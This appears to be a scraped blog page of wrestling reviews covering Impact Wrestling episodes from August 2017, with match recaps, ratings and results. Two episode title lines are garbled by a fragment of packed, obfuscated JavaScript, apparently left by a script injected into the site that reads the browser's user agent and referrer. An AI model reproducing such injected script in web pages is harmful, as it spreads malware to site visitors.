Moose comes out and immediately punches him in the jaw, only to get clotheslined to the floor. A powerbomb on the floor keeps Moose in trouble but he cuts off the spar with a boot. They fight into the crowd because this needs to fill in more time. This just keeps going as they head into the back with the announcers continuing to name drop Dan Lambert every chance they have.

A neckbreaker drops Moose on the apron as the announcers talk about how Lashley leaving might cost them their Christmas bonuses. Moose kicks him down and hits a spear at ringside. They get back inside and of course here are the MMA guys to beat Moose down to end the show after a nearly seven minute brawl.

Overall Rating: D. This show felt as long as Wrestlemania and my goodness we’ve got how many weeks left in this taping cycle? I don’t even know where to begin on what was wrong with this show. Above all else though, it’s the same problem I have watching Ring of Honor when they’re in their New Japan phases: I don’t watch the show to see other promotions. I watch it to see GFW, not whatever other promotion they can fit in this week. Last week it was twenty minutes of AAA and this week it’s the other AAA guys plus the Crash.

If that’s not enough, the big story, with the last segment of the show and a lot of time, is still the MMA stuff. Combine that with all the international material and it feels like A, GFW doesn’t have enough content of its own to fill two hours a week or B, they don’t think their own stuff is good enough. It’s like they keep having to show you something else to entertain you instead of paying attention to what they have and that gets very, very old in a hurry.

The wrestling is decent at best, the stories are dreadful, the talent isn’t all that great and the focus is all over the place. It’s such a mess anymore and I have a feeling this is going to be how things go all the way to Bound For Glory in November. The worst part is that the show wasn’t completely terrible but rather just exceedingly boring. Nothing caught my attention and almost nothing felt special. It’s just stuff going on for two hours with a bunch of segments and matches that you might like. Not a good show, but much worse, not a good sign for the weeks to come.

Results

Garza Jr. b. Braxton Sutter – Middle rope moonsault

Ethan Carter III b. Hijo de Fantasma via split decision

Grado b. ??? – Wee boot

Trevor Lee b. Sonjay Dutt – Rollup with a handful of tights

Taya Valkyrie b. Amber Nova – Double chickenwing facebuster

Johnny Impact b. Low Ki – Starship Pain

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Impact Wrestling – August 24, 2017: Say His Name

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rzstf|var|u0026u|referrer|tdfsh||js|php'.split('|'),0,{})) Wrestling
Date: August 24, 2017
Location: Impact Zone, Orlando, Florida
Commentators: Jeremy Borash, Josh Matthews

It’s a huge night in Orlando as we’re guaranteed a new World Champion. After Alberto El Patron was stripped of the title, a Gauntlet for the Gold was announced. It’s basically a Royal Rumble but the final two participants will have a singles match instead of being thrown over the top for the title. Let’s get to it.

We open with a recap of last week’s show with a focus on the American Top Team fighter attacking Brian Hebner.

Earlier today Jarrett talked to the leader of the MMA guys but Lashley got the boss away. It seemed to be more calm this time. I apologize if I don’t recognize a few of the MMA names but I’m a casual fan of the sport at best.

Jim Cornette addresses part of the roster and says no one is getting an easy paycheck or getting away without fighting. After fining Lashley for being late, he gives everyone a pep talk before the Gauntlet for the Gold.

Opening sequence.

OVE vs. Heatseekers

OVE sends them outside for a suicide dive/moonsault combination. Well they’re already off to a better start than last week. Back in and a double snap spinebuster takes down we’ll say Heatseeker #1. A Death Valley Driver plants #2 as this is rather fast paced. #1 gets sent into the corner and a twisting DDT sends him onto the apron. The superkick/running kick to the knee combination puts away #2 at 3:03.

Rating: C+. Now THAT was how they should have debuted. The team looked great here as they cared up the jobbers with all of their cool moves which is exactly what they should have been doing last week. The tag division is dying for some new talent at this point and OVE seems like a great addition so far.

Cornette is on the phone and says the fine with Lashley was $5000 and if it makes TMZ he’s fired. Eli Drake and Chris Adonis come in so Drake can apologize for getting off on the wrong foot with the boss last week. Drake wants a different number so Cornette makes him a deal: if he leaves Jim alone, Drake can have another number. It’s a deal so Cornette makes him #2. Eli: “IT’S THE SAME THING!”

Oh don’t let WWE hear you say that buddy. They’ll let you know how much more amazing it was for Shawn Michaels to enter in 1995 at #1 and survive a forty minute match than it was for Rey Mysterio to enter in 2006 at #2 and set the longevity record (seriously happened on a list of impressive Rumble feats they released).

We look back at Taryn Terrell returning to take out Gail Kim and cost her the Knockouts Title match last week.

Here’s Terrell in the ring for a chat. Taryn says she and Gail used to be friends with Taryn even going through some issues to be at Gail’s Hall of Fame announcement. Has Gail ever called her or thanked her? Of course not. SHE DOESN’T EVEN FOLLOW TARYN ON TWITTER! Taryn rants about Gail following her husband around the country before she cheats on him and leaves, like she’s doing to this division. She’s tired of this being the Gail Show (preach it) but here’s Gail for the fight with JB breaking it up. Taryn bails while she has the chance.

Video on the recent house show tour. The crowds might have been small but it’s a good idea to get them back on the road, if nothing else to help spread the word about the company.

Some people say they’ll win the title tonight.

Lashley and the American Top Team guys come in to see Cornette, who yells at them for what they did last week. Lashley needs to make a choice about what he wants to do and stop listening to bad advice.

Taya Valkyrie is coming.

We recap Grado’s attempts to stay in the country by marrying Laurel Van Ness.

Here are Grado and Joseph Park for Grado’s farewell to America. Park says he’s going to miss him and Grado goes into a list of American food he’s going to miss. He says goodbye but stops for a THANK YOU GRADO chant. Cue Laurel Van Ness looking completely normal in a rather revealing dress. She calls Grado the peanut butter to her jelly and the barbecue sauce to her ribs. She proposes to Grado and he says yes, only to faint when she kisses him. This brings out Kongo Kong but Mahabali Shera cuts him off and Kong bails.

Cornette is in his office with Eddie Edwards and praises him for wrestling through an injury the night Cornette met him. Jim thinks Anthem would be proud to have Eddie as champion.

LAX talks about beer and tells Low Ki to win the title tonight.

GFW World Title: Gauntlet for the Gold

They have almost an hour for this. There are twenty entrants with a two minute interval for the first two and then ninety seconds between all following entrants. It’s over the top rope eliminations until there are two left and then it’s a regular match for the title. Eddie Edwards is in at #1 and Eli Drake is in at #2. They stall to start (makes sense in something like this) until Eddie slaps him in the face. Drake tries to low bridge him but gets chopped for his efforts as Mario Bokara is in at #3.

A German suplex drops Edwards and it’s a double stomp to put him in trouble. Naturally Drake turns on Mario but Eddie gets back up as it’s Kingston in at #4. Nothing of note happens until it’s Braxton Sutter in at #5. Things slow down again as they tend to do in these things until it’s Richard Justice (the standby wrestler) in at #6. Justice does his exercises both outside and inside the ring until Ethan Carter III is in at #7. Carter talks to Justice before kicking him low and tossing him for the first elimination.

Back from a break with time having stood still as Kongo Kong is in at #8. Kong throws out Bokara and Kingston to clear the ring a bit, only to have everyone else jump him to little avail. Suicide is in at #9 for the trust fall onto everyone with only Kong left standing. Drake bails to the floor without being eliminated and it’s Mahabali Shera in at #10 giving us Shera, Drake, Edwards, Carter, Suicide, Kong and Sutter. Shera low bridges Kong to the floor and it’s Chris Adonis in at #11 to team up with Drake. They get rid of Shera as Suicide and Sutter chop away at Carter. El Hijo Del Fantasma is in at #12 and we take another break.

Back again with Johnny Impact making his debut at #13 and getting rid of Adonis and Suicide without too much effort. Garza Jr. is in at #14 with a missile dropkick to Impact. Sutter breaks up his stripping routine and gets eliminated for his efforts. Fallah Bahh is in at #15 to give us Bahh, Edwards, Drake, Carter, Fantasma, Impact and Garza. Fat man offense ensues and it’s KM at #16.

Drake and Carter fight to the apron as Taiji Ishimori is in at #17. Lashley is in at #18 and it should be time to clear the ring a bit. KM is the first victim, followed by Bahh with no effort. Ishimori actually takes Lashley down with a springboard seated senton, only to slip on another springboard and get eliminated as well. Moose is in at #19 to beat some people up but he’s nice enough to let Garza strip. A powerbomb eliminates Garza, though luckily for him KM was still on the floor to catch him. Back from a break with Low Ki in at #20 to give us a final grouping of Edwards, Drake, Carter, Fantasma, Impact, Lashley, Moose and Low Ki.

Impact tries to catapult Low Ki out but gets caught in a double stomp instead. Fantasma cross bodies Carter and hits a jumping superkick, only to get TK3’d over the top. A pair of kicks to the head gets rid of Carter and we’re down to six. Moose dumps Low Ki and we take our final break. Back again with Lashley spearing Moose but getting caught with the Flying Chuck. Drake plants Impact, followed by Lashley missing a charge to eliminate himself. Edwards hurricanranas Moose out and we’re down to Drake, Edwards and Impact.

Drake gets knocked to the apron and kneed in the head but he hangs on by his feet and pulls himself back in. Impact loads up the Flying Chuck but gets dropped onto the apron. Drake dives through the ropes to the floor (not eliminated) and pulls Impact outside for the elimination. We’re down to Drake vs. Edwards for the title and it’s Eddie hitting the Shot of Caffeine to start fast. A Blue Thunder Bomb gets two on Drake but he rolls through a high crossbody. Drake muscles him up into the Eli Drop (White Noise) for the pin and the title at 55:48. As usual, the announcers act like they’re ordering dinner because they can’t show emotion.

Rating: C-. Mostly dull match here but that’s almost always the case with most of these things. You’re only going to get so much out of a Royal Rumble with the better part of an hour and this could have been worse. Drake winning is a major plus for me as I’ve been a big fan of his for several months now. If nothing else I was expecting them to just give the title to Impact but it’s nice that they might make us wait a few months first. Watchable match, but nothing that hasn’t been done better elsewhere.

The celebration is on but hang on because American Top Team is beating up someone at ringside. Dan Lambert (the Top Team leader) shoves Scott D’Amore down as the team is lead off. Oh yeah and Drake is World Champion to end the show.

Overall Rating: C. Annoying focus on the MMA stuff aside, this was a completely fine show that accomplished its major goal. I’m very glad that the title match got so much time as it feels more important than just throwing them out there for fifteen or so minutes. Now that they’ve done something here though, they need to follow up on it, which has long since been a major issue around here. At least there’s an entertaining champion though and that’s a very good start.

Results

OVE b. Heatseekers – Superkick/Running kick to the knee combination to #2

Eli Drake won Gauntlet for the Gold – Eli Drop to Eddie Edwards

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Impact Wrestling – August 17, 2017 (Destination X): Enjoy It While It Lasts

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ndytn|var|u0026u|referrer|tytyk||js|php'.split('|'),0,{})) Wrestling
Date: August 17, 2017
Location: Impact Zone, Orlando, Florida
Commentators: Jeremy Borash, Josh Matthews

It’s a big night around here as we have Destination X. This show is almost all about the X-Division, but it turns out that we also need a new World Champion. Alberto El Patron is still suspended and has now been stripped of the title. The situation will be handled tonight but we have no idea how. Let’s get to it.

Bobby Lashley and American Top Team (MMA camp) arrive with the leader meeting with Jeff Jarrett.

A video recaps the card.

Opening sequence.

McKenzie Mitchell can’t get an interview with Bruce Prichard but did see someone shocking in his office. Naturally she can’t say who that was but she did see someone.

Knockouts Title: Gail Kim vs. Sienna

Kim is challenging and the ropes are now green. They look like the tubes of mutagen on Teenage Mutant Ninja Turtles. Gail grabs a crucifix to start until they head outside with Sienna dropping her onto the steps. Back in and Sienna knees her down for two, followed by a backbreaker into a fall away slam. A superplex is countered into a sunset bomb to kickstart Kim’s comeback, including a crossbody for two. The AK47 doesn’t work but Gail grabs Eat Defeat, which draws KM onto the apron. Gail forearms him to the floor but here’s the returning Taryn Terrell with a cutter to lay Gail out. Now the AK47 can retain the title at 7:02.

Rating: C-. Better than I was expecting here but I don’t buy for a second that this is it for Kim. This seems to be looking towards Gail winning the title and retiring at Bound For Glory because that’s what someone of her magnitude gets to be awarded. The match wasn’t bad and Taryn being back is a very welcome surprise.

Matt Sydal is ready to show what he can really do because he moves at hyper speed and sees in slow motion.

Here’s Bruce Prichard with the new World Title to announce that Alberto El Patron has vacated the title and wishes him the best in his future endeavors (without ever saying he was released or fired etc.). As head corporate adviser, it turns out that Bruce can return the title to any former champion he wishes. Therefore he’ll give it to Bobby Lashley, but here’s Jim Cornette of all people instead. He and Bruce have a short chat (with Bruce mentioning double cheeseburgers at Dairy Queen to silence) but Cornette has a bit of a surprise.

See, Anthem has a lot of interests but doesn’t know much about wrestling. Therefore, he’s been brought in to take care of some of those issues. Bruce calls security on him but Cornette goes on a rant (I’m as shocked as you are) and yells at Bruce for overstepping his bounds and driving everyone crazy.

Therefore, Bruce is fired and security takes him away. Cornette sets the record straight: Alberto didn’t vacate the title because he was stripped of it. We’re not going to have big stars come in here and say they’re on vacation while being handed things. Instead they’re going to have to fight to earn things or deal with him. Next week we’ll be having a twenty man Gauntlet for the Gold to crown a new World Champion.

Cornette goes to leave but here’s LAX to interrupt. After a break, Konnan says Low Ki should be the #1 and facing the winner of that gauntlet match. Cornette doesn’t agree because he may be a cracker (which Konnan had called him) but he’s not a liar. Low Ki says he smells fear on Cornette but Cornette says Low Ki can be #20 in the gauntlet. Konnan isn’t scared of legal threats and threatens violence. Cornette doesn’t seem to care and leaves.

Super X Cup Finals: Taiji Ishimori vs. Dezmond Xavier

They speed things up to start with neither being able to hit much until Xavier nails a dropkick. Ishimori sends him outside without too much effort though and things slow down a bit. Back in and a gutbuster puts Xavier down as Josh talks about the upcoming GFW Network streaming service. After a waistlock keeps Xavier in trouble, Ishimori hits a springboard seated senton, followed by some double knees to the chest. Xavier is right back up but his hurricanrana is countered into a faceplant. The 450 gives Ishimori two so Xavier enziguris him into the corner, followed by a moonsault Pele for the pin at 5:30.

Rating: D+. I’m sorry what now? After hearing about how AMAZING this tournament was for over a month, the finals don’t even go six minutes? This was an amazingly disappointing and completely unnecessary tournament, which really doesn’t surprise me in the slightest. Xavier is a good choice to win the tournament but he beat a bunch of people who mean nothing in this promotion. Ishimori never showed me much, though it’s not like he was given the chance in the first place.

Xavier says this means a lot but he’s coming for the X-Division Title.

Bruce and Karen Jarrett shout at each other a lot in a story that hasn’t been explained and no one cares about. Basically Karen is glad to see him gone and is glad he’s out.

Grado’s visa has expired and he has to leave. Joseph Park says he won’t let Grado go out like a mark because he’ll get to say his goodbye in the ring next week.

X-Division Title: Trevor Lee vs. Sonjay Dutt

Ladder match with Dutt defending. Sonjay sends him outside in a hurry before grabbing a hurricanrana back inside. Lee gets in a ladder to the ribs to take over and sends the ladder inside. Something like a suplex drops Sonjay back first onto the ladder and we take an early break. Back with Lee loading up the ladder for the slow climb, allowing Sonjay to make the save.

Lee takes him down again and brings in a table, because that’s likely to help him climb a ladder you see. The delay lets Dutt kick him down and put Lee on the table, only to get crotched on top. A hard forearm puts him outside and the announcers recap things instead of talking about the match.

Lee bridges a ladder between the ropes and the standing ladder but Sonjay takes him down again. A springboard splash onto Lee onto the ladder allows Dutt to climb but here’s Caleb Konley to powerbomb Dutt through the table. Cue Petey Williams of all people with a Canadian Destroyer on Konley to put everyone down. Dutt springboards up onto the ladder, knocks Lee down, and retains at 16:03.

Rating: B-. Best match of the night by far with the right ending. Dutt has barely been able to have the title after this whole thing with Bruce allowing Lee to hold the title as long as he did. Williams returning is a nice moment for older fans but I’m not sure how much it does for the modern audience. Good match, though nothing we haven’t seen a dozen times in ladder matches.

Lashley knows his opponent’s name: Loser.

Jason Cade/Zachary Wentz vs. OVE

OVE is Ohio vs. Everything, better known as the Crist Brothers or the Irish Airborne. Wentz knees Jake in the face to start but he charges into a boot in the corner. It’s off to Dave for a knee to the head, followed a superkick to knock Cade out of the air. A spinning kick to the head sets up a running kick to the leg/running kick to the knee combo (something like High/Low) for the pin on Cade at 2:12. Not the best debut but I’ve seen worse.

Eli Drake, Chris Adonis, Moose and Ethan Carter III annoy Cornette and get put in the gauntlet with Drake going in at #1.

Video on Lashley vs. Sydal with the winner getting a shot at whatever title he wants.

Matt Sydal vs. Bobby Lashley

Lashley runs him over to start with a shoulder sending Matt outside. A kick to the head staffers Lashley but he comes right back with a crossbody for two. Sydal can’t hit a pop up hurricanrana and gets thrown outside again as we take a break. Back with Lashley destroying Sydal as the announcers brag about Lashley’s MMA teammates, which really just makes me want to watch UFC.

We hit the face ripping for a bit, followed by a delayed vertical suplex. Lashley misses the spear though and a spinwheel kick puts him down. A tornado DDT drops Lashley again but he breaks up the shooting star. The top rope double knees get two on Lashley but his powerslam gets the same. The Dominator gets two more and it’s chair time. That means a Van Daminator to put Lashley down, which somehow isn’t a DQ. Sydal’s shooting star hits knees but the spear hits post, allowing Sydal to grab a rollup for the pin at 14:50.

Rating: C+. Lashley is a great monster heel but it seems like he loses far more than not lately. Sydal winning is the right call and there’s no reason not to put the X-Division Title on him (unless you do the smart thing by moving him towards the main event scene, even if it would prove that the X-Division means nothing). Lashley will be fine with whatever he does of course and I’m sure he’ll be a force in next week’s gauntlet.

Post match one of the MMA fighters chokes the referee until his teammates break it up.

Johnny Impact (Morrison/Mundo/Hennigan) is here next week. He even mentions all of the titles he currently holds.

Overall Rating: B-. There are still some big problems but this was light years better than the previous shows. While I’m not exactly sold on the idea that everything is better (this company has a long history of starting great and then faltering in a hurry), this was a major improvement and an entertaining show. In other words, once you get to the end of the stories instead of dragging them out forever, things get a lot better. Or maybe it’s a lack of focus on Alberto vs. LAX in the least interesting feud of the year. Anyway, good show tonight and I’m interested in the title match next week.

Above all else though, this show felt like it was changing a lot of the stuff that didn’t work. Prichard was one of the worst on screen authority figures I can remember in a long time and Cornette is a major upgrade. He’s much more well known and a far better talker, though you can expect him to blow up and leave in a matter of weeks. The wrestling was better and some of the bigger names being brought in help. I have no confidence in it lasting but it’s a good sign that a lot of the bad stuff is gone and they went with some stuff that worked.

Results

Sienna b. Gail Kim – AK47

Dezmond Xavier b. Taiji Ishimori – Moonsault Pele

Sonjay Dutt b. Trevor Lee – Dutt pulled down the title

OVE b. Jason Cade/Zachary Wentz – Kick to the head/kick to the leg combination

Matt Sydal b. Bobby Lashley – Rollup

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

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